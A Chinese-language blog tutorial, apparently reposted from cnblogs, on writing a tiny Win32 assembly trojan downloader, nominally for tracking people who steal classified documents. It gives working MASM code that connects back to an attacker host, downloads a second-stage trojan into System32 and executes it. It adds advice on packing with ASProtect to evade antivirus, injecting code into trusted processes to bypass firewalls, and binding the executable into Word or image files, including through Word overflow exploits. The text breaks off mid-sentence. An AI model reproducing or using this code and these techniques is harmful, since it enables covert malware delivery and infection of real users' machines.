Win32汇编木马初探

现在很多单位都采用单独的计算机来存放重要的涉密文件。然而如果涉密文件被盗,不仅会带来严重的经济损失,窃密者还可能逍遥法外。为了解决这个问题,我们需要对涉密文件采取某些措施:如绑定木马,在窃密者在得手后木马能自动执行,并记录下窃密者的相关信息,最后及时通知监控端。上面所采取的措施,我们称为网络跟踪技术。本文所要讲述的汇编木马,就经常应用在跟踪技术中。

  举个例子:在一涉密.Doc文件中绑定一个.Exe木马。如果木马功能复杂,并且是在VC等编译环境下生成,那它的体积至少有几十K,再加上.Doc文件自身的数据量就非常可观了。一个大的.Doc文件会引起窃密者的怀疑,我们的跟踪也就达不到效果。因此,我们势必要设法在不影响最终目的的前提下,尽量减小木马文件的体积。办法可能不止一个,而我采用的是编写汇编木马的方式。当然,研究的平台都是在Windows2000以上的操作系统中。

Win32汇编木马设计思路
  完整的汇编木马又称为“小马”,原因有两个:一是它体积小,只有几K;二是它的功能仅仅是反向连接攻击端,从攻击端下载并执行真正的功能复杂的木马(大马)。为了便于大家理解,本文将不关心“大马”的功能实现,重点是提出汇编木马的设计思路,并尽量从基础的角度进行讨论。

  汇编木马的设计围绕4个重要的技术指标:体积小、防杀、突破防火墙与进程隐藏、拖动并执行“大马”,下面逐一介绍:
  1、 体积小。常规木马大多用高级语言编写,在集成环境下编译生成。虽然实现方便,但是生成的.Exe文件体积较大。对于汇编木马,我们采用Win32汇编来实现,使得.Exe文件体积控制在几K。
  2、 防杀。为了避免被诺顿、卡巴斯基、江民等主流杀毒软件所识别,木马文件一定要进行可靠的加壳处理。根据经验,一般我们选用最新的ASProtect,加壳后的.Exe文件生存能力一般比较强。如果需要,在必要的时候还可以手动修改文件特征码。
  3、 突破防火墙与进程隐藏。木马文件执行的时候需要与攻击端通信,必须访问网络。但不仅第三方的个人防火墙会阻拦你,现在Windows XP SP2也自带了软件防火墙。当“不可信任”的应用程序访问网络时,防火墙会报警。我的解决方法是:将网络通信部分的代码作为远程线程注入到防火墙“可信任”的进程中。这个“可信任”的进程一般是系统进程,也可以是IE。代码的注入,同时起到了进程隐藏的作用。
  4、 拖动并执行“大马”。这是汇编木马的核心功能,也是本文要重点举例讨论的内容。最终的监控、跟踪功能是在“大马”中实现的,它可以通过高级语言来实现,体积大小并没有什么限制。

Win32汇编基础
  为了进行下面的讨论,Win32汇编是大家必须掌握的基础知识。Win32汇编生成的程序也是运行在Windows保护模式下的。我们可以通过下面几个方面去了解:

  1、Win32ASM编译器
Win32ASM编译器最常用的有两种:Borland公司的Tasm5.0和Microsoft的Masm6.11及以上版本,两种编译器各有自己的优缺点,本文选用Microsoft的Masm6.11进行岩石。
  2、环境设置
为了直接调用Masm6.11提供工具和库文件,我在“我的电脑”属性→“高级”→“环境变量”→“用户变量”里分别设置(以本机为例):
  Include = F:攻防研究编程相关汇编masm611Include
  lib = F:攻防研究编程相关汇编masm611lib
  path = F:攻防研究编程相关汇编masm611in
  3、编译和连接
汇编文件的编译:Ml /c /coff 文件名.asm,生成.obj文件
资源文件的编译:Rc文件名.rc,生成.res文件
连接:Link /SUBSYSTEM:WINDOWS [其他连接选项]OBJ文件名.obj[Res文件名.res]
  4、Include和Includelib语句的使用
Include 语句包含了一些系统的定义和API函数说明,其中所有的Windows 数据结构定义和常量定义包含在“windows.inc”中,而很多API函数的说明包含在其它.inc中。例如:ExitProcess函数包含在Kernel32.dll中,我们就要在程序中包括“Include kernel32.inc”和“Includelib kernel32.lib”语句,否则在编译时会出现API 函数未定义的错误;而MessageBox在user32.dll中,那么我们就要在程序中包括“Include user32.inc”和“Includelib user32.lib”语句。
  5、数据段、代码段和注释
未初始化的数据定义在.data?段中,已初始化的数据定义在.data段中,而代码则位于.code段中。此外,汇编代码注释由;来指引。
  6、命令行参数的提取。
如果生成的.Exe文件是带命令行参数的,那么我们可以通过API函数GetCommandLine来获取。
下面用一个简单的例子来对上面的基础知识走一遍,大家就更清楚了。
.386 ;声明在80386平台下
.model flat, stdcall; 平坦模式,函数调用约定为stdcall
option casemap :none
Include windows.inc
Include kernel32.inc
Include user32.inc
Includelib kernel32.lib
Includelib user32.lib

.data ; 放初始化数据
szCaption db '命令行参数测试',0

.code;代码段
start: ;代码的开始
invoke GetCommandLine; 函数调用语句,取代call指令,省去“push 参数 ”操作
invoke MessageBox,NULL,eax,addr szCaption,MB_OK
invoke ExitProcess,NULL
end start
文件存为test.asm。在命令行下编译、连接,输入Exe文件名+参数。
小知识:如果要学习更多的汇编知识,可以参见罗云彬编等写的《Windows环境下32位汇编语言程序设计》,在网上也能下载到电子教程。

简单的Win32汇编木马模式实现
  有了上面的Wn32汇编基础,我们现在回到正题――汇编木马的实现。由于初次介绍,这里我将汇编木马的模型简化,主要实现下载并执行“大马”的功能,同时结合攻击端代码进行演示,算是为以后讨论更为复杂的汇编木马做为铺垫。
汇编木马主要代码如下:
;定义未初始化数据,就像高级语言中定义变量一样
.data?
hInstance dd ?
sysdir db 128 dup (?)
mainsock dd ?
wsainfo WSADATA<>
mainsin sockaddr_in<>
clientinfo sockaddr_in<>
;dwRever_Ip DWORD ?;可通过命令行参数指定,本文在本机演示忽略
recvbuff2 dd ?
recvbuff db 1024 dup (?)
sendbuff db 1024 dup (?)
location db 256 dup (?)
bytesdone dd ?
buffwrite db 256 dup (?)
uplfile dd ?; 文件句柄

;已初始化的数据
.data
szFileName db 'dg.Exe',0
dirfmt db '%s\%s', 0
mainport db '80', 0
szOK db 'ok!', 0

.code
start:
;初始化winsock
invoke WSAStartup, 101h, addr wsainfo
cmp eax, 0
;PrintError
jnz endl
;创建套接字
invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
cmp eax, INVALID_SOCKET
;PrintError
jz endl ;出错就结束

mov mainsock, eax
mov mainsin.sin_family, AF_INET
;反连端口,80、110、25均可以
mov eax, 80
push eax
call htons
mov mainsin.sin_port, ax
;mov eax, dwRever_Ip ;攻击端IP,可根据需要自己改写,也可通过其它方式传递
mov eax, 100007fh; 这里使用127.0.0.1
mov mainsin.sin_addr, eax

;反连攻击端
invoke connect, mainsock, addr mainsin, sizeof mainsin
;PrintError
cmp eax, SOCKET_ERROR
jz endloop

;下面接收“大马”
;先接收攻击端发送的“大马”文件大小
invoke RtlZeroMemory, addr recvbuff2, sizeof recvbuff2
invoke recv, mainsock, addr recvbuff2, sizeof recvbuff2, 0
cmp eax, SOCKET_ERROR
jz endloop
cmp eax, 0
jz endloop
;返回确认信息
invoke send, mainsock, addr szOK, sizeof szOK, 0

接收文件,并放在系统目录下
upload:
;获取系统目录
invoke GetSystemDirectory, addr sysdir, sizeof sysdir
;构造路径sprintf(location, "%s\%s", sysdir, szFileName)
invoke wsprintf, addr location, addr dirfmt, addr sysdir, addr szFileName
;创建文件
invoke CreateFile, addr location, GENERIC_WRITE, FILE_SHARE_READ or
FILE_SHARE_WRITE, NULL, Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
;文件句柄
mov uplfile, eax
;已接收字节数
mov bytesdone, 0

;循环接收
uploadloop:
invoke RtlZeroMemory, addr recvbuff, sizeof recvbuff
invoke recv, mainsock, addr recvbuff, sizeof recvbuff, 0
cmp eax, SOCKET_ERROR
jz upldone
cmp eax, 0
jz upldone
mov edx, eax
add bytesdone, eax
;向文件中写内容
invoke WriteFile, uplfile, addr recvbuff, edx, addr buffwrite, NULL
invoke send, mainsock, addr szOK, sizeof szOK, 0
mov edx, recvbuff2
cmp bytesdone, edx
jnae uploadloop

upldone:
invoke CloseHandle, uplfile
;“大马”命令行参数可根据需要指定
invoke ShellExecute, NULL, NULL, addr location, NULL, NULL, SW_SHOWNORMAL
endloop:
invoke closesocket, mainsock
endl:
end start
  按照前面的方法编译、生成可执行程序down_exec.exe,这就是简单的汇编木马。大家可以看到,down_exec.Exe体积仅2.5k。攻击端的实现很简单,就是监听80(110、25等具有隐蔽性的端口都可以)端口,等待汇编木马执行后连接过来,然后传送并执行“大马”。具体代码参见光盘中的Server.cpp,此处不再赘述。至于“大马”,这里我用了一个个简单的dg.exe,作用是在D盘根目录下生成1.txt,里面有一串字符便于检验。
下面我们进行测试:先生成攻击端Server.Exe、dg.Exe放在tools目录中,将tools目录、Server.Exe和汇编木马down_exec.Exe一同放到“演示工具目录中”, 双击Server.Exe和down_exec.Exe,大家可以检查D盘下是否生成了1.txt,同时看看系统的System32目录下是否有一个dg.Exe。


木马文件绑定技术
  最后,我们来讨论一下木马文件的绑定。我们的汇编木马不仅可以绑定在.Doc、.pdf等文件中起到保护作用,还可以绑定在.png、.jpg、.wmf等图片文件中制作成网页木马。文件绑定是比较容易实现的,但是要在母体文件打开时自动生成并执行木马文件却有很多限制,相信做过这方面工作的朋友都有所体会。
绑定文件的方法视文件母体的不同而不同,这里以在.Doc文件中绑定.Exe文件为例。向.Doc文件中绑定.Exe文件后,要在打开该.Doc文件的时候自动生成并执行该.Exe文件方法大致有两个:
  1、 利用Word提供的宏机制
  举个例子:要将1.Exe绑定到2.Doc中,通过命令“copy /b 2.Doc+1.Exe new2.Doc”命令即可实现。要从new2.Doc中提取出1.Exe,则必须用Word宏机制提供的VBA编程来实现。这种实现方式容易受到Word宏机制安全设置的限制,详细介绍大家可以参考我在06年第2期写的《Word 溢出漏洞的分析和利用》。
  2、利用Word溢出漏洞。
这种方式虽然实现复杂,但效果却好于前一种。利用Word的溢出漏洞,我就可以构造的特定Doc文件,当窃密者打开该文件时由于Word发生缓冲区溢出而执行任意代码。具体思路如下:
我们的特定.Doc文件为abc.Doc,物理上由3部分构成。 开头部分是溢出Doc模板,它可导致Word发生溢出。溢出之后执行其中的ShellCode,判断是否为合法用户(通过硬件信息判断),如果是则提取并生成真正涉密的Doc,再调用Winword.Exe打开该文件;如果不是合法用户,则不生成真正涉密的Doc,而直接生成并

原文地址:https://www.cnblogs.com/kingbaby/p/3277542.html